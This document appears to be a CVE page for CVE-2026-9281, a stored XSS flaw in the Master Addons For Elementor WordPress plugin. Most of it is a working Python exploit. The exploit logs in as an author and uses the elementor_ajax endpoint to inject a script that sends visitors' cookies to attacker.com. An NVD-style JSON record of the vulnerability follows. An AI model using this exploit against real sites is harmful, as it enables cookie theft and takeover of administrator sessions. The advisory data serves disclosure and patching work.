CVE-2026-9281

import requests import sys from bs4 import BeautifulSoup # CVE-2026-9281 PoC - Stored XSS in Master Addons For Elementor # Target: WordPress with Master Addons For Elementor plugin <= 3.1.0 TARGET_URL = "http://target-wordpress-site.com" USERNAME = "author_user" PASSWORD = "author_password" def get_nonce(session, admin_url): """Get Elementor nonce for AJAX requests""" response = session.get(admin_url) soup = BeautifulSoup(response.text, 'html.parser') nonce_input = soup.find('input', {'id': '_wpnonce'}) elementor_nonce = soup.find('input', {'name': '_nonce', 'value': True}) return nonce_input['value'] if nonce_input else None, elementor_nonce['value'] if elementor_nonce else None def exploit_stored_xss(): """Exploit CVE-2026-9281: Inject malicious JS via Custom JS Extension""" session = requests.Session() # Step 1: Login as Author user login_url = f"{TARGET_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/" } session.post(login_url, data=login_data) # Step 2: Get page with Elementor editor pages_url = f"{TARGET_URL}/wp-admin/edit.php?post_type=page" response = session.get(pages_url) # Step 3: Create or edit a page to get Elementor nonce page_url = f"{TARGET_URL}/wp-admin/post.php?post=1&action=elementor" response = session.get(page_url) # Step 4: Extract nonces wp_nonce, elementor_nonce = get_nonce(session, page_url) # Step 5: Inject malicious JavaScript via jtlma_custom_js ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Malicious payload - steals admin cookies malicious_js = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" exploit_data = { 'action': 'elementor_ajax', 'canvas': '1', '_nonce': elementor_nonce, 'ver': '1', 'context': 'editor', 'data': { 'actions': { 'save_builder': { 'data': { 'post_id': '1', 'elements': [], 'settings': { 'jtlma_custom_js': malicious_js } } } } } } # Step 6: Send exploit request (bypasses UI-level restriction) response = session.post(ajax_url, json=exploit_data) print(f"[*] Exploit sent. Response: {response.status_code}") print(f"[*] XSS payload injected into page ID 1") print(f"[*] Any user visiting the page will execute the malicious JS") if __name__ == "__main__": exploit_stored_xss()

{"cve": {"id": "CVE-2026-9281", "sourceIdentifier": "[email protected]", "published": "2026-06-06T02:16:22.820", "lastModified": "2026-06-08T14:57:14.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Master Addons For Elementor – Widgets, Extensions, Theme Builder, Popup Builder & Template Kits plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'jtlma_custom_js' Page Setting (Custom JS Extension) in all versions up to, and including, 3.1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The unfiltered_html capability check is only enforced during Elementor control registration (UI rendering) and not during the save process, enabling Author-level users to inject the jtlma_custom_js setting directly via a crafted POST request to admin-ajax.php?action=elementor_ajax, bypassing the UI-level restriction entirely."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/master-addons/tags/3.0.2/inc/modules/utilities/custom-js/custom-js.php#L206", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/master-addons/tags/3.0.2/inc/modules/utilities/custom-js/custom-js.php#L214", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/master-addons/tags/3.0.2/inc/modules/utilities/custom-js/custom-js.php#L80", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/master-addons/tags/3.1.0/inc/modules/utilities/custom-js/custom-js.php#L206", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/master-addons/tags/3.1.0/inc/modules/utilities/custom-js/custom-js.php#L214", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/master-addons/tags/3.1.0/inc/modules/utilities/custom-js/custom-js.php#L80", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3556818%40master-addons&new=3556818%40master-addons&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5b8e052a-6e60-4455-96c9-b2a3e86773da?source=cve", "source": "[email protected]"}]}}